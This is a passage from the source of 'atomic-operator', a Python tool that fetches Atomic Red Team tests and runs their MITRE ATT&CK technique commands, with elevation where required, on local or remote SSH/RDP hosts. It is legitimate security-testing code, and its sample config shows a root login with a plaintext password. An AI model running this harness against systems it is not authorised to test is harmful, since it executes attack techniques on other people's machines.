if you have questions or run into any issues. 363 | 364 | ## Built With 365 | 366 | * [carcass](https://github.com/MSAdministrator/carcass) - Python packaging template 367 | 368 | ## Contributing 369 | 370 | Please read [CONTRIBUTING.md](CONTRIBUTING.md) for details on our code of conduct, and the process for submitting pull requests to us. 371 | 372 | ## Versioning 373 | 374 | We use [SemVer](http://semver.org/) for versioning. 375 | 376 | ## Authors 377 | 378 | * Josh Rickard - *Initial work* - [MSAdministrator](https://github.com/MSAdministrator) 379 | 380 | See also the list of [contributors](https://github.com/swimlane/atomic-operator/contributors) who participated in this project. 381 | 382 | ## License 383 | 384 | This project is licensed under the MIT License - see the [LICENSE](LICENSE.md) file for details 385 | 386 | ## Shoutout 387 | 388 | - Thanks to [keithmccammon](https://github.com/keithmccammon) for helping identify issues with macOS M1 based proccesssor and providing a fix 389 | -------------------------------------------------------------------------------- /atomic_operator/atomic_operator.py: -------------------------------------------------------------------------------- 1 | import inspect 2 | import os 3 | from pprint import pprint 4 | from typing import AnyStr 5 | 6 | from atomic_operator_runner import Runner 7 | 8 | from .base import Base 9 | from .configparser import ConfigParser 10 | from .models import Config 11 | from .utils.exceptions import ( 12 | AtomicsFolderNotFound, 13 | IncorrectParameters, 14 | PlatformNotSupportedError, 15 | ) 16 | 17 | 18 | class AtomicOperator(Base): 19 | 20 | """Main class used to run Atomic Red Team tests. 21 | 22 | atomic-operator is used to run Atomic Red Team tests both locally and remotely. 23 | These tests (atomics) are predefined tests to mock or emulate a specific technique. 24 | 25 | config_file definition: 26 | atomic-operator's run method can be supplied with a path to a configuration file (config_file) which defines 27 | specific tests and/or values for input parameters to facilitate automation of said tests. 28 | An example of this config_file can be seen below: 29 | 30 | inventory: 31 | linux1: 32 | executor: ssh 33 | authentication: 34 | username: root 35 | password: Somepassword! 36 | #ssk_key_path: 37 | port: 22 38 | timeout: 5 39 | hosts: 40 | # - 192.168.1.1 41 | - 10.32.100.199 42 | # etc. 43 | atomic_tests: 44 | - guid: f7e6ec05-c19e-4a80-a7e7-241027992fdb 45 | input_arguments: 46 | output_file: 47 | value: custom_output.txt 48 | input_file: 49 | value: custom_input.txt 50 | - guid: 3ff64f0b-3af2-3866-339d-38d9791407c3 51 | input_arguments: 52 | second_arg: 53 | value: SWAPPPED argument 54 | - guid: 32f90516-4bc9-43bd-b18d-2cbe0b7ca9b2 55 | inventories: 56 | - linux1 57 | 58 | Raises: 59 | ValueError: If a provided technique is unknown we raise an error. 60 | """ 61 | 62 | __test_responses = {} 63 | 64 | def __find_path(self, value): 65 | """Attempts to find a path containing the atomic-red-team repository 66 | 67 | Args: 68 | value (str): A starting path to iterate through 69 | 70 | Returns: 71 | str: An absolute path containing the path to the atomic-red-team repo 72 | """ 73 | if value == os.getcwd(): 74 | for x in os.listdir(value): 75 | if os.path.isdir(x) and "redcanaryco-atomic-red-team" in x: 76 | if os.path.exists(self.get_abs_path(os.path.join(x, "atomics"))): 77 | return self.get_abs_path(os.path.join(x, "atomics")) 78 | else: 79 | if os.path.exists(self.get_abs_path(value)): 80 | return self.get_abs_path(value) 81 | 82 | def __check_arguments(self, kwargs, method): 83 | if kwargs: 84 | for arguments in inspect.getfullargspec(method): 85 | if isinstance(arguments, list): 86 | for arg in arguments: 87 | for key, val in kwargs.items(): 88 | if key in arg: 89 | return IncorrectParameters( 90 | f"You passed in an argument of '{key}' which is not recognized. Did you mean '{arg}'?" 91 | ) 92 | return IncorrectParameters(f"You passed in an argument of '{key}' which is not recognized.") 93 | 94 | def __run_technique(self, technique, **kwargs): 95 | """This method is used to run defined Atomic tests within 96 | a MITRE ATT&CK Technique. 97 | 98 | Args: 99 | technique (Atomic): An Atomic object which contains a list of AtomicTest 100 | objects. 101 | """ 102 | self.__logger.debug( 103 | f"Checking technique {technique.attack_technique} ({technique.display_name}) for applicable tests." 104 | ) 105 | for test in technique.atomic_tests: 106 | if test.executor.name == "manual": 107 | self.__logger.info(f"The test {test.name} ({test.auto_generated_guid}) is a manual test. Skipping.") 108 | continue 109 | self._set_input_arguments(test, **kwargs) 110 | config_args = self.__config_parser.get_inputs(test.auto_generated_guid) 111 | if config_args: 112 | self._set_input_arguments(test, **config_args) 113 | if test.auto_generated_guid not in self.__test_responses: 114 | self.__test_responses[test.auto_generated_guid] = {} 115 | if technique.hosts: 116 | for host in technique.hosts: 117 | self.__logger.info( 118 | f"Running {test.name} test ({test.auto_generated_guid}) for technique {technique.attack_technique}" 119 | ) 120 | self.__logger.debug(f"Description: {test.description}") 121 | supported_platforms = [x for x in test.supported_platforms if x in self.SUPPORTED_PLATFORMS] 122 | for platform in supported_platforms: 123 | self.__logger.debug(f"Running test on {platform} platform.") 124 | # TODO: Need to add support for copy of files to remote hosts. 125 | path = technique.path 126 | if platform == "windows": 127 | path = "c:\\temp" 128 | elif platform == "linux" or platform == "macos" or platform == "aws": 129 | path = "/tmp" 130 | else: 131 | raise PlatformNotSupportedError( 132 | provided_platform=platform, supported_platforms=self.SUPPORTED_PLATFORMS 133 | ) 134 | self.__logger.debug(f"The original execution command is '{test.executor.command}'.") 135 | new_command = self._replace_command_string( 136 | command=test.executor.command, 137 | path=path, 138 | input_arguments=test.input_arguments, 139 | executor=test.executor.name, 140 | ) 141 | self.__logger.debug(f"Newly formatted execution command is '{new_command}'.") 142 | runner = Runner( 143 | platform=platform, 144 | hostname=host.hostname, 145 | username=host.username, 146 | password=host.password, 147 | verify_ssl=host.verify_ssl, 148 | ssh_key_path=host.ssh_key_path, 149 | private_key_string=host.private_key_string, 150 | ssh_port=host.port, 151 | ssh_timeout=host.timeout, 152 | ) 153 | for response in runner.run( 154 | command=new_command, 155 | executor=test.executor.name, 156 | elevation_required=test.executor.elevation_required, 157 | ): 158 | self.__test_responses[test.auto_generated_guid].update( 159 | { 160 | "technique_id": technique.attack_technique, 161 | "technique_name": technique.display_name, 162 | "response": response, 163 | } 164 | ) 165 | else: 166 | if self._check_platform(test, show_output=True): 167 | self.__logger.info( 168 | f"Running {test.name} test ({test.auto_generated_guid}) for technique {technique.attack_technique}" 169 | ) 170 | self.__logger.debug(f"Description: {test.description}") 171 | runner = Runner(platform=self.get_local_system_platform()) 172 | self.__logger.debug(f"The original execution command is '{test.executor.command}'.") 173 | new_command = self._replace_command_string( 174 | command=test.executor.command, 175 | path=technique.path, 176 | input_arguments=test.input_arguments, 177 | executor=test.executor.name, 178 | ) 179 | self.__logger.debug(f"Newly formatted execution command is '{new_command}'.") 180 | if self._check_if_aws(test): 181 | for response in runner.run( 182 | command=new_command, 183 | executor=test.executor.name, 184 | elevation_required=test.executor.elevation_required, 185 | ): 186 | self.__test_responses[test.auto_generated_guid].update( 187 | { 188 | "technique_id": technique.attack_technique, 189 | "technique_name": technique.display_name, 190 | "response": response, 191 | } 192 | ) 193 | 194 | else: 195 | for response in runner.run( 196 | command=new_command, 197 | executor=test.executor.name, 198 | elevation_required=test.executor.elevation_required, 199 | ): 200 | self.__test_responses[test.auto_generated_guid].update( 201 | { 202 | "technique_id": technique.attack_technique, 203 | "technique_name": technique.display_name, 204 | "response": response, 205 | } 206 | ) 207 | 208 | def help(self, method=None): 209 | from fire.helptext import HelpText 210 | from fire.trace import FireTrace 211 | 212 | obj = AtomicOperator if not method else getattr(self, method) 213 | return HelpText(self.run, trace=FireTrace(obj)) 214 | 215 | def get_atomics(self, desintation=os.getcwd(), **kwargs): 216 | """Downloads the RedCanary atomic-red-team repository to your local system. 217 | 218 | Args: 219 | desintation (str, optional): A folder path to download the repositorty data to. Defaults to os.getcwd(). 220 | kwargs (dict, optional): This kwargs will be passed along to Python requests library during download. Defaults to None. 221 | 222 | Returns: 223 | str: The path the data can be found at. 224 | """ 225 | if not os.path.exists(desintation): 226 | os.makedirs(desintation) 227 | desintation = kwargs.pop("destination") if kwargs.get("destination") else desintation 228 | folder_name = self.download_atomic_red_team_repo(save_path=desintation, **kwargs) 229 | return os.path.join(desintation, folder_name) 230 | 231 | def search(self, keyword: AnyStr, atomics_path: AnyStr = os.getcwd()) -> None: 232 | """Searches all atomic tests for a keyword. 233 | 234 | Args: 235 | keyword (AnyStr): A keyword or string to search for. 236 | atomics_path (AnyStr, optional): The path to atomics in which we search. Defaults to os.getcwd(). 237 | """ 238 | from rich.console import Console 239 | from rich.table import Table 240 | 241 | from .atomic.loader import Loader 242 | 243 | self._results = {} 244 | atomics_path = self.__find_path(atomics_path) 245 | if not atomics_path: 246 | return AtomicsFolderNotFound( 247 | "Unable to find a folder containing Atomics. Please provide a path or run get_atomics." 248 | ) 249 | Base.CONFIG = Config(atomics_path=atomics_path) 250 | 251 | table = Table(title="Search Results") 252 | table.add_column("Technique ID", style="cyan", justify="left") 253 | table.add_column("Technique Name", style="magenta", justify="left") 254 | table.add_column("Test", style="green", justify="left") 255 | table.add_column("Found In", style="green", justify="left") 256 | 257 | for key, technique in Loader().load_techniques().items(): 258 | for key, val in technique.__dict__.items(): 259 | if isinstance(val, list): 260 | for test in val: 261 | for key, val in test.__dict__.items(): 262 | if keyword in str(val): 263 | table.add_row(technique.attack_technique, technique.display_name, test.name, key) 264 | self.__logger.debug( 265 | f"Found keyword '{keyword}' in {technique.attack_technique} {technique.display_name}." 266 | ) 267 | if table.rows: 268 | console = Console() 269 | console.print(table) 270 | else: 271 | self.__logger.info(f"No results found for keyword '{keyword}'.") 272 | 273 | def run( 274 | self, 275 | techniques: list = ["all"], 276 | test_guids: list = [], 277 | select_tests=False, 278 | atomics_path=os.getcwd(), 279 | input_arguments: dict = {}, 280 | check_prereqs=False, 281 | get_prereqs=False, 282 | cleanup=False, 283 | copy_source_files=True, 284 | command_timeout=20, 285 | debug=False, 286 | prompt_for_input_args=False, 287 | return_atomics=False, 288 | config_file=None, 289 | config_file_only=False, 290 | hosts=[], 291 | username=None, 292 | password=None, 293 | ssh_key_path=None, 294 | private_key_string=None, 295 | verify_ssl=False, 296 | ssh_port=22, 297 | ssh_timeout=5, 298 | pretty=False, 299 | **kwargs, 300 | ) -> None: 301 | """The main method in which we run Atomic Red Team tests. 302 | 303 | Args: 304 | techniques (list, optional): One or more defined techniques by attack_technique ID. Defaults to 'all'. 305 | test_guids (list, optional): One or more Atomic test GUIDs. Defaults to None. 306 | select_tests (bool, optional): Select one or more tests from provided techniques. Defaults to False. 307 | atomics_path (str, optional): The path of Atomic tests. Defaults to os.getcwd(). 308 | input_arguments (dict, optional): A dictionary of input arguments to pass to the test. Defaults to {}. 309 | check_prereqs (bool, optional): Whether or not to check for prereq dependencies (prereq_comand). Defaults to False. 310 | get_prereqs (bool, optional): Whether or not you want to retrieve prerequisites. Defaults to False. 311 | cleanup (bool, optional): Whether or not you want to run cleanup command(s). Defaults to False. 312 | copy_source_files (bool, optional): Whether or not you want to copy any related source (src, bin, etc.) files to a remote host. Defaults to True. 313 | command_timeout (int, optional): Timeout duration for each command. Defaults to 20. 314 | debug (bool, optional): Whether or not you want to output details about tests being ran. Defaults to False. 315 | prompt_for_input_args (bool, optional): Whether you want to prompt for input arguments for each test. Defaults to False. 316 | return_atomics (bool, optional): Whether or not you want to return atomics instead of running them. Defaults to False. 317 | config_file (str, optional): A path to a conifg_file which is used to automate atomic-operator in environments. Default to None. 318 | config_file_only (bool, optional): Whether or not you want to run tests based on the provided config_file only. Defaults to False. 319 | hosts (list, optional): A list of one or more remote hosts to run a test on. Defaults to []. 320 | username (str, optional): Username for authentication of remote connections. Defaults to None. 321 | password (str, optional): Password for authentication of remote connections. Defaults to None. 322 | ssh_key_path (str, optional): Path to a SSH Key for authentication of remote connections. Defaults to None. 323 | private_key_string (str, optional): A private SSH Key string used for authentication of remote connections. Defaults to None. 324 | verify_ssl (bool, optional): Whether or not to verify ssl when connecting over RDP (windows). Defaults to False. 325 | ssh_port (int, optional): SSH port for authentication of remote connections. Defaults to 22. 326 | ssh_timeout (int, optional): SSH timeout for authentication of remote connections. Defaults to 5. 327 | pretty (bool, optional): Whether or not to output results in a pretty format. Defaults to False. 328 | kwargs (dict, optional): If provided, keys matching inputs for a test will be replaced. Default is None. 329 | 330 | Raises: 331 | ValueError: If a provided technique is unknown we raise an error. 332 | """ 333 | response = self.__check_arguments(kwargs, self.run) 334 | if response: 335 | return response 336 | if kwargs.get("help"): 337 | return self.help(method="run") 338 | if debug: 339 | import logging 340 | 341 | logging.getLogger().setLevel(logging.DEBUG) 342 | count = 0 343 | if check_prereqs: 344 | count += 1 345 | if get_prereqs: 346 | count += 1 347 | if cleanup: 348 | count += 1 349 | if count > 1: 350 | return IncorrectParameters( 351 | f"You have passed in incompatible arguments. Please only provide one of 'check_prereqs','get_prereqs','cleanup'." 352 | ) 353 | atomics_path = self.__find_path(atomics_path) 354 | if not atomics_path: 355 | return AtomicsFolderNotFound( 356 | "Unable to find a folder containing Atomics. Please provide a path or run get_atomics." 357 | ) 358 | Base.CONFIG = Config( 359 | atomics_path=atomics_path, 360 | check_prereqs=check_prereqs, 361 | get_prereqs=get_prereqs, 362 | cleanup=cleanup, 363 | command_timeout=command_timeout, 364 | debug=debug, 365 | prompt_for_input_args=prompt_for_input_args, 366 | kwargs=input_arguments, 367 | copy_source_files=copy_source_files, 368 | ) 369 | # taking inputs from both config_file and passed in values via command 370 | # line to build a run_list of objects 371 | self.__config_parser = ConfigParser( 372 | config_file=config_file, 373 | techniques=None if config_file_only else self.parse_input_lists(techniques), 374 | test_guids=None if config_file_only else self.parse_input_lists(test_guids), 375 | host_list=None if config_file_only else self.parse_input_lists(hosts), 376 | username=username, 377 | password=password, 378 | ssh_key_path=ssh_key_path, 379 | private_key_string=private_key_string, 380 | verify_ssl=verify_ssl, 381 | ssh_port=ssh_port, 382 | ssh_timeout=ssh_timeout, 383 | select_tests=select_tests, 384 | ) 385 | self.__run_list = self.__config_parser.run_list 386 | __return_atomics = [] 387 | for item in self.__run_list: 388 | if return_atomics: 389 | __return_atomics.append(item) 390 | elif input_arguments: 391 | self.__run_technique(item, **input_arguments) 392 | else: 393 | self.__run_technique(item) 394 | if return_atomics and __return_atomics: 395 | return pprint(__return_atomics) if pretty else __return_atomics 396 | return pprint(self.__test_responses) if pretty else self.__test_responses 397 | --------------------------------------------------------------------------------